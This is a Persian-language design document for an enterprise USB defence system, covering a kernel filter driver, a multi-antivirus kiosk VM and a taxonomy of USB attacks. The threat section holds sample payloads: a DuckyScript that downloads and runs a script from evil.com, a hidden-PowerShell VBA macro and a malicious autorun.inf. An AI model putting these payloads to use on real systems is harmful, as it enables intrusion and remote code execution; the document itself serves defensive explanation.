پرش به مطلب اصلی

امنیت حافظه‌های USB در سازمان

مقدمه و بیان مسئله

مسئله به زبان ساده

وقتی شخصی یک فلش USB را به کامپیوتر سازمان وصل می‌کند، این فلش فقط یک حافظه ساده نیست. یک USB می‌تواند:

  • خودش را به جای موس یا کیبورد جا بزند و دستورات مخرب تایپ کند
  • ویروس یا تروجان داخل فایل‌هایش پنهان کرده باشد
  • در سطح فریمور (نرم‌افزار داخلی تراشه USB) آلوده باشد و هیچ آنتی‌ویروسی آن را نبیند
  • رفتار غیرعادی الکتریکی داشته باشد و سخت‌افزار کامپیوتر را تخریب کند

مسئله به زبان فنی

USB attack surface شامل تمام لایه‌های مدل OSI سخت‌افزار از Physical/Electrical تا Application Layer است. حملاتی مانند BadUSB، Rubber Ducky، USB Killer، LNK Exploit و Firmware-level Rootkit هر یک در لایه‌ای متفاوت عمل می‌کنند و هیچ راهکار تک‌لایه‌ای قادر به پوشش همه آن‌ها نیست.

واقعیت تلخ

یک آنتی‌ویروس معمولی هیچ‌گاه نمی‌تواند حمله‌ای در لایه فریمور یا لایه الکتریکی USB را تشخیص دهد — چون اصلاً به آن سطوح دسترسی ندارد.

راه‌حل ما

معماری دولایه ما با پوشش دادن لایه‌های متفاوت حمله، دفاع عمیقی را در برابر تمامی انواع تهدیدات USB فراهم می‌کند:

لایهنامعملکرد
لایه ۱Host ProtectionUSB در سطح درایور سیستم‌عامل Host قفل نرم‌افزاری می‌شود (بدون نیاز به بستن فیزیکی پورت)
لایه ۲Virtual KioskUSB به یک ماشین مجازی ایزوله ریدایرکت شده، فایل‌ها با چندین آنتی‌ویروس به‌صورت موازی اسکن و فقط فایل‌های سالم به سازمان منتقل می‌شوند

معماری کلی سامانه

سامانه از یک زنجیره دفاعی سلسله‌مراتبی تشکیل شده که هر مرحله، USB را از سطحی از تهدیدات پاک می‌کند. جریان داده از پایین (USB Port) به بالا (شبکه سازمانی) در حرکت است:

Clean Zone — مقصد نهایی فایل‌های سالمشبکه سازمانیClean Zone — مقصد نهایی فایل‌های سالمماشین مجازی ایزوله با MultiAV Sandboxلایه دوم — Virtual Kioskماشین مجازی ایزوله با MultiAV SandboxUSB Filter · Class Classifier · Policy Engineلایه اول — Host ProtectionUSB Filter · Class Classifier · Policy Engineورودی فیزیکی از کاربرUSB Portورودی فیزیکی از کاربر

شرح مؤلفه‌های اصلی

لایه اول — Host Protection

سه مؤلفه اصلی در سطح Host فعالیت می‌کنند:

  • USB Filter (Minifilter): رهگیری اولیه رویدادهای اتصال USB در سطح Kernel
  • Class Classifier: شناسایی نوع دستگاه بر اساس Device Class (Storage / HID / CDC / ...)
  • Policy Engine: تصمیم‌گیری بین سه حالت Allow / Deny / Redirect

در پایین این زنجیره، موتور USBDk.msi به‌عنوان لایه Passthrough عمل کرده و USB را از Host به ماشین مجازی منتقل می‌کند.

لایه دوم — Virtual Kiosk

فایل‌های داخل USB در محیط ایزوله از این مسیر عبور می‌کنند:

  1. USB Mount (Read-Only): اتصال دستگاه با دسترسی فقط‌خواندنی
  2. File Extract: استخراج ساختاریافته فایل‌ها
  3. MultiAV Engine: اسکن موازی با هفت آنتی‌ویروس (AV1 تا AV7)
  4. Verdict Engine: تصمیم‌گیری نهایی درباره پاک بودن فایل
  5. Secure Transfer API: انتقال امن فایل‌های تأییدشده به شبکه سازمانی

لایه اول: کنترل USB در سطح Host

برای درک اینکه چگونه می‌توان USB را بدون بستن فیزیکی پورت کنترل کرد، ابتدا باید بدانیم USB چگونه به سیستم‌عامل وصل می‌شود.

مراحل اتصال USB (USB Enumeration)

دید ساده — چگونه فلش به سیستم متصل می‌شود؟

مراحل اتصال یک USB به سیستم‌عامل به‌صورت زیر انجام می‌شود:

  1. اتصال فیزیکی کاربر فلش را وارد پورت می‌کند، جریان الکتریکی برقرار می‌شود و کنترلر USB Host متوجه تغییر ولتاژ روی پین‌های D+ و D- می‌شود.

  2. شناسایی سخت‌افزاری (Bus Enumeration) USB Host Controller یک آدرس به دستگاه اختصاص می‌دهد، از آن Device Descriptor می‌خواهد و دستگاه پاسخ می‌دهد «من کی‌ام؟» (VID, PID, Device Class).

  3. بارگذاری درایور (Driver Binding) سیستم‌عامل بر اساس Device Class درایور مناسب را انتخاب می‌کند؛ برای مثال: Mass Storage → disk.sys یا HID → hidusb.sys.

  4. دسترسی کاربر (User-Space Access) درایور فایل‌سیستم (FAT32, NTFS) محتوا را Mount می‌کند و کاربر در Explorer فایل‌ها را می‌بیند.

دید فنی — Protocol Stack کامل USB

هر اتصال USB از شش لایه پروتکلی عبور می‌کند. شناخت این لایه‌ها برای طراحی معماری امنیتی ضروری است:

VBUS (+5V) · D+ · D- · GNDLayer 0 — PhysicalVBUS (+5V) · D+ · D- · GNDSETUP · DATA · ACK · GET_DESCRIPTORLayer 1 — USB ProtocolSETUP · DATA · ACK · GET_DESCRIPTORxHCI / eHCI / oHCI · URB ProcessingLayer 2 — Host Controller DriverxHCI / eHCI / oHCI · URB ProcessingUSBHub / USBPORT · PnP EnumerationLayer 3 — USB Bus DriverUSBHub / USBPORT · PnP EnumerationClass-Specific: Storage / HID / CDCLayer 4 — Function DriverClass-Specific: Storage / HID / CDCNTFS · FAT32 · exFAT · User AccessLayer 5 — File System / AppNTFS · FAT32 · exFAT · User Access

جزئیات هر لایه:

لایهناممؤلفه‌های کلیدی
0Physical Layerسیگنال‌های الکتریکی USB 2.0/3.0 روی پین‌های VBUS, D+, D-, GND
1USB Protocol Layerتراکنش‌های SETUP → DATA → ACK، Control Transfer، Descriptor Fields مانند bDeviceClass, idVendor, idProduct
2Host Controller Driverدرایور xHCI / eHCI / oHCI، پردازش URB و مدیریت pipeهای Interrupt/Bulk/Isochronous/Control
3USB Bus Driverمدیریت Hub، تخصیص Power به پورت‌ها و ایجاد Device Node در PnP Device Tree
4Function Driverدرایور کلاس‌محور: USBSTOR.sys → disk.sys برای Storage، hidusb.sys → kbdhid.sys برای HID
5File System / ApplicationNTFS.sys / FAT32 / exFAT، Mount حجم، تخصیص Drive Letter و دسترسی User-Space
نکته کلیدی برای معماری امنیتی

نرم‌افزار امنیتی می‌تواند در هر یک از لایه‌های ۲ تا ۵ مداخله کند. لایه‌های ۰ (الکتریکی) و ۱ (پروتکلی) تنها با سخت‌افزار قابل کنترل هستند.

طبقه‌بندی کامل تهدیدات USB بر اساس لایه

جدول جامع تهدیدات

در جدول زیر، ده تهدید اصلی USB به همراه لایه فعالیت و سطح خطر آن‌ها آورده شده است:

#نام تهدیدتوضیح مختصرلایه فعالیتسطح خطر
۱USB Killerتزریق ولتاژ ۲۲۰ ولت از طریق خازن‌های داخلی، تخریب پورت در لحظه اتصالLayer 0⚡ تخریب سخت‌افزار
۲BadUSB / Firmware Trojanبازنویسی فریمور کنترلر (مانند Phison 2251) با ابزار psychsonLayer 1🔴 بحرانی
۳Rubber Ducky / HID Attackبرنامه‌ریزی میکروکنترلر (ATmega32u4) با DuckyScript برای Keystroke InjectionLayer 1-2🔴 بحرانی
۴USB Crazy / Mouse Jigglerارسال بی‌وقفه حرکات تصادفی موس و کلیدهای ترکیبی برای اختلال در سیستمLayer 2-3🟠 بالا
۵Autorun Malwareقرار دادن فایل autorun.inf با اشاره به Payload مخربLayer 5🟡 متوسط
۶LNK Exploit (Stuxnet-style)ساخت فایل .lnk با آیکون مخرب اشاره‌گر به DLL آلوده (CVE-2010-2568)Layer 5🔴 بحرانی
۷Weaponized Documentتزریق ماکرو VBA در Office، JavaScript Exploit در PDF یا OLE Embedding در RTFLayer 5🟠 بالا
۸Hidden Partition / Dual-Firmwareایجاد پارتیشن مخفی یا فریمور دوگانه با شرط زمانیLayer 1 + 5🔴 بحرانی
۹USB-to-Ethernet / NIC Attackمعرفی دستگاه به‌عنوان Network Adapter و اجرای MITM (LAN Turtle)Layer 3-4🔴 بحرانی
۱۰USB Data Exfiltrationاسکریپت PowerShell/Python برای کپی خودکار داده‌های حساسLayer 5🟠 بالا

تشریح مفصل هر تهدید

تهدید ۱: USB Killer (لایه الکتریکی)

سطح خطر: تخریب فیزیکی سخت‌افزار

این حمله در لایه ۰ (فیزیکی) اتفاق می‌افتد و هیچ نرم‌افزاری قادر به جلوگیری از آن نیست. تنها راه دفاع، محافظ‌های سخت‌افزاری هستند.

مکانیزم حمله:

USB Killer با استفاده از خازن‌های ولتاژ بالا در داخل خود، انرژی موجود در خط VBUS +5V را جمع‌آوری کرده و آن را به‌صورت شوک الکتریکی معکوس با ولتاژ −۲۲۰ ولت به مادربورد تخلیه می‌کند. این چرخه چندین بار در ثانیه تکرار می‌شود:

مرحلهعملکرد
۱. ورودیجمع‌آوری انرژی از VBUS +5V
۲. ذخیرهشارژ خازن‌های داخلی (Capacitor Bank)
۳. تخلیهآزادسازی شوک −220V به سمت مادربورد
۴. نتیجه💥 تخریب پورت USB، Chipset و در برخی موارد کل مادربورد

مشخصات فنی تهدید:

ویژگیمقدار
لایه فعالیتLayer 0 — کاملاً الکتریکی
قابلیت تشخیص نرم‌افزاری❌ خیر — پیش از رسیدن به OS تخریب رخ می‌دهد
نحوه ساختقابل خرید تجاری یا مونتاژ با خازن‌های ولتاژ بالا
اصل دفاعجلوگیری از رسیدن انرژی مخرب به مادربورد در سطح فیزیکی

معماری دفاع سخت‌افزاری (Hardware USB Protection):

برای مقابله با این تهدید، یک زنجیره حفاظتی سخت‌افزاری میان پورت USB و مادربورد قرار می‌گیرد. این معماری از پایین (نزدیک مادربورد) به بالا (نزدیک پورت USB) به‌صورت زیر است:

ناحیه محافظت‌شدهMotherboardناحیه محافظت‌شدهکنترل رابط USBUSB Controllerکنترل رابط USBمحدودسازی ولتاژ و جریانOVP + OCP + eFuseمحدودسازی ولتاژ و جریانمهار Transient و ESDESD / TVS Protectionمهار Transient و ESDورودی فیزیکی ناشناسUSB Portورودی فیزیکی ناشناس

لایه نرم‌افزاری کنترل (پس از عبور سیگنال از فیلترهای سخت‌افزاری):

پس از پاک شدن سیگنال از تهدیدات الکتریکی، جریان معمول کنترل امنیتی نرم‌افزاری آغاز می‌شود:

Device DetectionAllowlist / PolicyAV / EDRVM / USB Redirection

نکته کلیدی

USB Killer در Layer 0 عمل می‌کند؛ بنابراین USB Redirection، VM، آنتی‌ویروس و EDR به‌تنهایی قادر به جلوگیری از آسیب الکتریکی نیستند. برای این تهدید، وجود Hardware USB Protection / USB Isolator در مسیر فیزیکی USB ضروری است.


تهدید ۲: BadUSB / Firmware Trojan (لایه فریمور)

سطح خطر: بحرانی

مهاجم فریمور تراشه کنترلر USB (مثلاً Phison 2251) را با ابزارهایی مانند psychson بازنویسی می‌کند. دستگاه در فرآیند Enumeration خود را به‌عنوان ترکیبی از حافظه ذخیره‌سازی + کیبورد سخت‌افزاری به سیستم‌عامل معرفی می‌کند.

مقایسه فریمور سالم و فریمور آلوده:

ویژگی🟢 فریمور سالم🔴 فریمور آلوده (Composite)
Device Class0x08 (Mass Storage)0x00 (Composite Device)
Interface اول0x08 — ذخیره‌سازی0x08 — ذخیره‌سازی (پوشش)
Interface دوم0x03 — HID (کیبورد مخفی)
رفتار قابل مشاهدهفقط انتقال فایلظاهراً فلش، اما تایپ خودکار می‌کند

شبیه‌سازی تزریق فریمور مخرب:

مهاجم Descriptorهای استاندارد USB را در فریمور دستکاری می‌کند:

# Firmware Descriptor Poisoning Simulation (via Psychson)

original = {
"bDeviceClass": 0x08,
"bInterfaceClass": 0x08,
"idVendor": 0x058F,
"idProduct": 0x6387,
}

malicious = {
"bDeviceClass": 0x00,
"interfaces": [
{ "bInterfaceClass": 0x08 }, # پوشش: Mass Storage
{ "bInterfaceClass": 0x03, # HID
"bInterfaceSubClass": 0x01,
"bInterfaceProtocol": 0x01 }, # Keyboard
],
}
نتیجه حمله

سیستم‌عامل، دستگاه را همزمان به‌عنوان فلش دیسک و کیبورد سخت‌افزاری می‌شناسد. مهاجم بدون نیاز به سطح دسترسی بالا (Administrator Privileges)، دستورات ترمینالی را مستقیماً تزریق می‌کند.

مشخصات فنی تهدید:

ویژگیمقدار
لایه فعالیتLayer 1 (Firmware/Protocol)
خطرناک‌ترین ویژگیآنتی‌ویروس‌های معمولی فایل‌سیستم را اسکن می‌کنند، نه فریمور را
نشانه در سیستمدر Device Manager دستگاه به‌عنوان Composite Device با چندین Interface ظاهر می‌شود
ابزار مهاجمpsychson, BadUSB Toolkit, برنامه‌ریزی مستقیم تراشه

تهدید ۳: Rubber Ducky / HID Attack (لایه پروتکل + درایور)

سطح خطر: بحرانی

دستگاه با میکروکنترلری مانند ATmega32u4 یا Teensy خود را به‌عنوان یک کیبورد USB معرفی می‌کند و اسکریپت‌های از پیش نوشته‌شده به زبان DuckyScript را با سرعت بالا تایپ می‌کند.

زنجیره حمله:

میکروکنترلر (ATmega32u4) → پروتکل USB HID Keyboard → بافر ورودی Windows → اجرای دستورات

نمونه اسکریپت DuckyScript:

DELAY 1000
GUI r # Win+R — باز کردن پنجره Run
DELAY 500
STRING powershell -w hidden -ep bypass
STRING -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/sh.ps1')"
ENTER # اجرای دستور دانلود و اجرای Payload
DELAY 2000
GUI d # Minimize All برای مخفی ماندن

ارزیابی تهدید:

ویژگیمقدار
زمان کل اجرا۳ تا ۵ ثانیه
قابلیت تشخیص توسط AV سنتی❌ غیرقابل تشخیص
نحوه آلوده‌سازینوشتن DuckyScript و فلش کردن روی میکروکنترلر
لایه فعالیتLayer 1-2 (پروتکل HID)
لایه تشخیصLayer 3 — تشخیص سرعت تایپ غیرانسانی و الگوی Keystroke

تهدید ۴: USB Crazy / Mouse Jiggler (لایه درایور)

سطح خطر: بالا

هدف این تهدید اختلال عملکردی است، نه اجرای Payload. دستگاه با ارسال بی‌وقفه ورودی موس و کیبورد، سیستم را عملاً فلج می‌کند.

مراحل اجرای حمله:

  1. جعل هویت دوگانه (Dual Emulation): دستگاه بلافاصله پس از اتصال، خود را همزمان به‌عنوان یک موس استاندارد و یک کیبورد سخت‌افزاری به سیستم‌عامل معرفی کرده و تأیید درایور را دریافت می‌کند.

  2. دور زدن قفل صفحه (Anti-Screen Lock): سیگنال‌ها و مختصات حرکتی تصادفی و نامحسوس موس را در فواصل زمانی کوتاه ارسال می‌کند تا مانع از فعال شدن Screen Lock یا Sleep شود.

  3. تزریق میانبرهای مخرب (Destructive Keystrokes): شروع به ارسال کلیدهای ترکیبی سیستمی خطرناک مانند Alt + F4 (بستن برنامه‌ها)، Win + D (دسکتاپ)، یا کلیدهای ترکیبی بحرانی برای اختلال در ابزارهای امنیتی می‌کند.

  4. طوفان ورودی (Crazy Mode): در فاز نهایی، تمامی ورودی‌های موس و کیبورد را به‌صورت همزمان، بی‌وقفه و با حداکثر سرعت پردازشی ارسال می‌کند. این امر باعث ایجاد Overflow در بافر ورودی سیستم‌عامل شده و عملاً سیستم را فلج می‌کند (Denial of Service سخت‌افزاری).

وضعیت نهایی هدف

اختلال کامل در عملکرد اپراتور، مسدود شدن کنترل سیستم و سقوط پایداری سیستم‌عامل، بدون شناسایی توسط ابزارهای امنیتی مرسوم.

مشخصات فنی:

ویژگیمقدار
لایه فعالیتLayer 2-3
تفاوت با Rubber Duckyهدف اختلال عملکردی است، نه اجرای Payload

تهدید ۵: Autorun Malware (لایه فایل‌سیستم)

وضعیت فعلی

ویندوز ۱۰/۱۱ قابلیت Autorun برای USB را به‌صورت پیش‌فرض غیرفعال کرده است، اما در سیستم‌های قدیمی (ویندوز ۷ و پایین‌تر) همچنان یک تهدید فعال محسوب می‌شود.

ساختار فایل‌های داخل فلش آلوده (روت E:\):

  • 📄 autorun.inf — فایل کانفیگ مخفی و سیستمی
  • malware.exe — بدافزار اصلی (مخفی و سیستمی)
  • 🖼️ folder.ico — آیکون جعلی برای فریب کاربر
  • 📁 Documents/ — پوشه واقعی به‌عنوان طعمه

محتوای فایل پیکربندی autorun.inf:

; ── Windows Autorun Directives ──
[AutoRun]
Open=malware.exe
Action=Open folder to view files
Icon=folder.ico
Label=Documents
Shell\Open\Command=malware.exe
Shell\Explore\Command=malware.exe
مکانیزم فریب

سیستم‌عامل‌های قدیمی‌تر (مانند ویندوز ۷ و قبل از آن)، بلافاصله پس از اتصال دیسک جانبی، فایل autorun.inf را پردازش کرده و بدافزار را با پوشش آیکون پوشه (طعمه) به کاربر ارائه می‌دهند.

مشخصات فنی:

ویژگیمقدار
لایه فعالیتLayer 5 (فایل‌سیستم)
لایه تشخیصFile System Filter Driver (Minifilter)
وضعیت در OSهای جدیدغیرفعال به‌صورت پیش‌فرض

تهدید ۶: LNK Exploit (لایه فایل‌سیستم — بسیار خطرناک)

خطرناک‌ترین ویژگی

این حمله نیاز به کلیک ندارد! فقط باز کردن پوشه در Windows Explorer برای اجرای کد کافی است (Zero-Click Attack).

ساختار فایل‌ها در فلش آلوده:

  • ⚙️ ~WTR4141.tmp — DLL مخرب اصلی
  • ⚙️ ~WTR4132.tmp — DLL مخرب ثانویه
  • 🔗 Copy of Shortcut.lnk — فایل میانبر دستکاری‌شده

مکانیزم اجرای Zero-Click:

  1. کاربر به سادگی پوشه روت فلش‌دیسک را در Windows Explorer باز می‌کند تا فایل‌ها را مشاهده کند.

  2. سرویس Shell ویندوز برای رندر کردن آیکون گرافیکی میانبر .lnk، کدهای پارس آن را تحلیل می‌کند.

  3. به دلیل نقص امنیتی پارسر، سیستم‌عامل فایل‌های DLL معرفی شده به‌عنوان آیکون را مستقیماً در حافظه بارگذاری (Load) و بلافاصله اجرا می‌کند!

پرونده تاریخی: Stuxnet 2010

آسیب‌پذیری LNK (CVE-2010-2568) به‌عنوان یکی از پیشرفته‌ترین ابزارهای انتشار سلاح سایبری استاکس‌نت (Stuxnet) به کار گرفته شد. این کرم با استفاده از این تکنیک خودکار، موفق به عبور از گپ فیزیکی (Air-Gap) و نفوذ به بخش‌های کنترل صنعتی (SCADA) سیستم‌های سانتریفیوژ تأسیسات هسته‌ای نطنز ایران گردید.

مشخصات فنی:

ویژگیمقدار
لایه فعالیتLayer 5 (فایل‌سیستم + Shell Extension)
خطرناک‌ترین ویژگینیاز به کلیک ندارد — فقط باز کردن پوشه کافی است
CVE مرجعCVE-2010-2568

تهدید ۷: Weaponized Documents (لایه اپلیکیشن)

سطح خطر: بالا

اسناد مخرب یکی از رایج‌ترین بردارهای حمله USB هستند. مهاجم با تکنیک‌های مهندسی اجتماعی، کاربر را متقاعد می‌کند تا محتوای مخرب را فعال کند.

فرمت‌های هدف و روش‌های نفوذ:

فرمتروش نفوذ
.docx / .docmVBA Macro
.xlsx / .xlsmVBA Macro + DDE Injection
.pdfJavaScript Exploit
.rtfOLE Embedding
.pptxAction Exploit

نمونه ماکروی مخرب VBA در سند Word:

'── Malicious Word VBA Macro (Auto-Execution) ──
Sub AutoOpen()
' Executed automatically upon document opening
Dim cmd As String
cmd = "powershell -WindowStyle Hidden -EncodedCommand "
cmd = cmd & "SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0..."
Shell cmd, vbHide
End Sub
نکته امنیتی

به‌صورت پیش‌فرض، سیستم‌عامل ویندوز و مجموعه آفیس ماکروها را غیرفعال می‌کنند. با این حال مهاجمان با تکیه بر مهندسی اجتماعی، قربانی را متقاعد می‌کنند تا با کلیک بر روی دکمه Enable Content، مجوز اجرای کدهای مخرب پشت سند را صادر کند.

مشخصات فنی:

ویژگیمقدار
لایه فعالیتLayer 5 (Application)
لایه تشخیصداخل کیوسک توسط Multi-AV با Static Analysis و Sandbox

تهدید ۸: Hidden Partition / Dual Firmware (لایه فریمور + فایل‌سیستم)

خطرناک‌ترین ویژگی

این تهدید در اسکن‌های اولیه کاملاً پاک به نظر می‌رسد. فریمور تنها پس از چند بار Boot یا اتصال، رفتار مخرب خود را آشکار می‌کند.

تخصیص فضای فیزیکی حافظه:

پارتیشنوضعیتمحتوا
پارتیشن ۱ (عادی)🟢 قابل مشاهده توسط OSفایل‌های مجاز، اسناد کاری و ساختار درایو متعارف جهت فریب کاربر
پارتیشن مخفی🔴 نامرئی / خفتهپی‌لودهای مخرب، اسکریپت‌های نفوذ و کدهای تبدیل به HID Payload

الگوریتم فعال‌سازی شرطی در سطح فریمور:

// ── Firmware Dormancy & Anti-Analysis Logic ──
IF boot_count > 3 THEN
expose_hidden_partition(); // نمایان‌سازی پارتیشن مخرب در سطح سخت‌افزار
change_device_class(HID); // تغییر هویت دستگاه از Storage به کیبورد
END IF
تکنیک فرار از تحلیل (Sandbox Evasion)

فریمور تا زمانی که دستگاه چند بار متصل یا Reboot نشود، فعال نمی‌شود؛ این مکانیزم مانع از شناسایی بدافزار در سندباکس‌های امنیتی خودکار (که درایو را فقط یک بار اسکن می‌کنند) می‌شود.

مشخصات فنی:

ویژگیمقدار
لایه فعالیتLayer 1 + Layer 5
خطرناک‌ترین ویژگیدر اسکن‌های اولیه پاک به نظر می‌رسد

تهدید ۹: USB-to-Ethernet / Network Hijack (لایه درایور + شبکه)

سطح خطر: بحرانی

دستگاه‌هایی مانند LAN Turtle یا Packet Squirrel خود را به‌عنوان یک کارت شبکه USB معرفی می‌کنند و کل ترافیک شبکه سیستم قربانی را از طریق خود مسیریابی می‌کنند.

زنجیره حمله:

  1. معرفی هویت شبکه: دستگاه USB با مقدار bInterfaceClass = 0x02 (CDC) خود را به‌عنوان یک آداپتور شبکه جدید به سیستم‌عامل معرفی می‌کند.

  2. پذیرش خودکار توسط OS: سیستم‌عامل با نمایش پیام "New Network Adapter Detected!" بلافاصله درایور مربوطه را بارگذاری کرده و کارت شبکه مخرب فعال می‌شود.

  3. راه‌اندازی DHCP Server مخرب: دستگاه خود را به‌عنوان Default Gateway معرفی می‌کند، DNS را به سرور مهاجم تغییر می‌دهد و کل ترافیک شبکه سیستم را از طریق USB مسیریابی می‌کند.

  4. حمله Man-in-the-Middle: ضبط اعتبارنامه‌ها (Credentials)، تزریق محتوای مخرب در ترافیک، و ریدایرکت URLها به وب‌سایت‌های فیشینگ به‌راحتی امکان‌پذیر می‌شود.

نکته امنیتی

این حمله در ویندوز حتی بدون سطح دسترسی Administrator اجرا می‌شود، چون سیستم‌عامل به‌صورت پیش‌فرض هر آداپتور شبکه جدید را می‌پذیرد و DNS آن را در اولویت قرار می‌دهد.

مشخصات فنی:

ویژگیمقدار
لایه فعالیتLayer 3-4 (Bus Driver + Network)
ابزار مهاجمLAN Turtle, Packet Squirrel, USB Rubber Ducky (نسخه شبکه)
قابلیت تشخیصنیاز به مانیتورینگ آداپترهای شبکه جدید در سطح سیستم‌عامل

مکانیزم قفل نرم‌افزاری USB بدون غیرفعال‌سازی فیزیکی

چطور USB را ببندیم بدون اینکه پورت فیزیکی غیرفعال شود؟

پاسخ ساده

ما اجازه نمی‌دهیم سیستم‌عامل درایوری برای USB بارگذاری کند. دستگاه فیزیکی وصل است، برق دارد، اما سیستم‌عامل اجازه صحبت کردن با آن را ندارد.

پاسخ فنی

یک Kernel-mode Filter Driver (Minifilter) در USB Driver Stack بین USB Hub Driver و Function Driver قرار می‌گیرد و بر اساس Device Descriptor، تصمیم Allow / Deny / Redirect را می‌گیرد.

معماری USB Filter Driver در Windows

جایگاه فیلتر امنیتی سفارشی در استک درایور USB ویندوز به‌صورت زیر است. جریان از پایین (پورت فیزیکی) به بالا (اپلیکیشن کاربر) در حرکت است:

🔌 پورت فیزیکی سخت‌افزارPhysical USB Port🔌 پورت فیزیکی سخت‌افزارxHCI.sys / eHCI.sysUSB Host ControllerxHCI.sys / eHCI.sysusbhub.sys / usbhub3.sysUSB Hub Driverusbhub.sys / usbhub3.sysلایه سفارشی امنیتی — قلب معماری★ USB Security Filter Driverلایه سفارشی امنیتی — قلب معماریUSBSTOR.sysUSB Storage Port DriverUSBSTOR.sysdisk.sysDisk Class Driverdisk.sysvolmgr.sys · partmgr.sysVolume Managervolmgr.sys · partmgr.sysNTFS.sys · FAT32File System DriversNTFS.sys · FAT32Explorer · User ApplicationsApplication LayerExplorer · User Applications

نقاط رهگیری بسته‌های سیستم‌عامل

فیلتر امنیتی، درخواست‌های IRP زیر را در سطح Kernel رهگیری می‌کند:

  • IRP_MJ_PNP
  • IRP_MN_START_DEVICE
  • IRP_MJ_INTERNAL_DEVICE_CONTROL

ماتریس تصمیم‌گیری (Decision Matrix)

هر دستگاه USB بر اساس Device Class خود در جدول زیر ارزیابی می‌شود:

Device ClassActionتوضیح
0x08 Mass Storage🟢 REDIRECT → PVMفلش‌های ذخیره‌سازی به VM ارسال می‌شوند
0x03 HID🔴 BLOCK (اگر مجاز نبود)فقط کیبورد/موس مجاز عبور می‌کنند
0x02 CDC / Network🔴 BLOCKکارت شبکه USB مطلقاً ممنوع
0x0E Video🔴 BLOCKوب‌کم USB ممنوع
0x01 Audio🟡 Policy-basedطبق سیاست سازمان
0x07 Printer🟡 Policy-basedطبق سیاست سازمان
Composite Device🔴 BLOCK + ALERTچند Interface = مشکوک به BadUSB

منطق ضد BadUSB

علاوه بر جدول تصمیم‌گیری، فیلتر دارای منطق شناسایی رفتاری برای حملات پیشرفته است:

# Anti-BadUSB Logic

IF device_claims_HID AND device_has_storage THEN
BLOCK + ALERT("Possible BadUSB")

IF keystroke_speed > 50 chars/sec THEN
BLOCK + ALERT("Possible Rubber Ducky")

عملکرد USB Security Filter Driver

این معماری یک لایه امنیتی سفارشی در سطح Driver به استک USB ویندوز اضافه می‌کند تا دستگاه‌های USB پیش از ورود به مسیر اصلی سیستم‌عامل، بررسی و کنترل شوند.

فیلتر با رهگیری رویدادها و درخواست‌های مهم USB، نوع دستگاه و Policy امنیتی را بررسی کرده و بر اساس آن می‌تواند عملیات Allow، Block، Alert یا Redirect به PVM را انجام دهد.

همچنین منطق Anti-BadUSB برای شناسایی رفتارهای مشکوک، مانند ترکیب HID و Storage یا سرعت غیرعادی Keystroke، در نظر گرفته شده است.

این ساختار باعث می‌شود کنترل دستگاه‌های USB در یک نقطه متمرکز و قابل مدیریت انجام شود و Policy‌های امنیتی پیش از ادامه مسیر دستگاه اعمال شوند.

هدف نهایی

ایجاد یک نقطه کنترل مرکزی برای اعمال Policy امنیتی روی دستگاه‌های USB و جلوگیری از دسترسی یا رفتارهای ناامن، بدون از دست دادن کاربردپذیری.

عملکرد گام‌به‌گام فیلتر درایور

فلوی اجرایی فیلتر امنیتی در چهار گام کلیدی خلاصه می‌شود:

گام ۱: اتصال فیزیکی USB

  • Host Controller تغییر ولتاژ را تشخیص می‌دهد
  • Hub Driver دستگاه را Enumerate می‌کند
  • Device Descriptor خوانده می‌شود

گام ۲: فعال شدن فیلتر درایور

فیلتر درخواست IRP_MN_QUERY_DEVICE_RELATIONS را Intercept می‌کند و Device Descriptor را تحلیل می‌کند:

  • VID / PID
  • Device Class
  • تعداد Interfaceها (برای تشخیص Composite Device)
  • String Descriptor (نام تجاری دستگاه)

گام ۳: درخت تصمیم‌گیری

فیلتر بر اساس منطق زیر تصمیم‌گیری می‌کند:

IF Class == Mass Storage (0x08) AND NOT Composite AND VID/PID in Whitelist
THEN ACTION = REDIRECT to PVM VM

ELSE IF Class == HID (0x03) AND NOT in Approved_Keyboards
THEN ACTION = BLOCK
ALERT = "Unauthorized HID"

ELSE IF Composite Device
THEN ACTION = BLOCK
ALERT = "Possible BadUSB"

ELSE ACTION = BLOCK (Default Deny)

گام ۴: اجرای تصمیم (Execution)

در حالت BLOCK

درخواست IRP_MN_START_DEVICE با کد STATUS_ACCESS_DENIED برگردانده می‌شود. درایور Function بارگذاری نمی‌شود و دستگاه در Device Manager با علامت ❌ نمایش داده می‌شود، اما پورت فیزیکی همچنان فعال باقی می‌ماند.

در حالت REDIRECT

USB Passthrough از طریق USB-Redirect به ماشین مجازی PVM هدایت می‌شود و در محیط ایزوله مورد بررسی قرار می‌گیرد.

تشخیص حملات HID (Rubber Ducky / BadUSB)

موتور تشخیص حملات HID بر اساس پنج قانون مکمل عمل می‌کند:

قانون ۱: تحلیل سرعت تایپ (Typing Speed)

  • انسان واقعی: ۵ تا ۱۰ کاراکتر در ثانیه
  • Rubber Ducky: بیش از ۱۰۰۰ کاراکتر در ثانیه
هشدار

اگر سرعت تایپ بیشتر از 50 char/s باشد → BLOCK

قانون ۲: تحلیل الگوی زمانی (Timing Pattern)

  • انسان واقعی: فاصله نامنظم بین کلیدها
  • Rubber Ducky: فاصله دقیقاً یکنواخت
هشدار

اگر jitter کمتر از 2ms باشد → SUSPICIOUS

قانون ۳: تشخیص Composite Device

  • فلش عادی: فقط Mass Storage
  • BadUSB: Mass Storage + HID همزمان
خطر

اگر Storage و HID در یک دستگاه واحد ظاهر شوند → BLOCK

قانون ۴: تشخیص ناهنجاری VID/PID

اگر VID/PID مدعی برند معتبر (مثلاً Kingston) است اما درخت Descriptor آن با دستگاه‌های شناخته‌شده Kingston مطابقت ندارد → ALERT

قانون ۵: تشخیص Re-enumeration پیاپی

اگر یک دستگاه بارها disconnect / reconnect کند (تکنیک تغییر هویت جهت فرار از پالیسی) → BLOCK


نقش USB-Redirect (USB Development Kit)

USB-Redirect چیست؟

به زبان ساده

USB-Redirect یک نرم‌افزار واسط است که به ما اجازه می‌دهد یک USB فیزیکی را از دسترس سیستم‌عامل اصلی خارج کرده و مستقیماً به یک ماشین مجازی تحویل دهیم. مثل اینکه USB را از کامپیوتر اصلی بکشید و به کامپیوتر دیگری وصل کنید — اما بدون جابه‌جایی فیزیکی.

به زبان فنی

USB-Redirect یک Windows Kernel-mode Driver است که USB Device Passthrough را بدون نیاز به USB/IP یا Client-Server model، مستقیماً از طریق Low-level USB API فراهم می‌کند. این درایور در سطح USB Hub Driver عمل کرده و دستگاه را از Windows PnP Device Tree جدا می‌کند (Detach) و URBها را مستقیماً به فضای User-space (و از آنجا به PVM) ارسال می‌کند.

معماری USB-Redirect

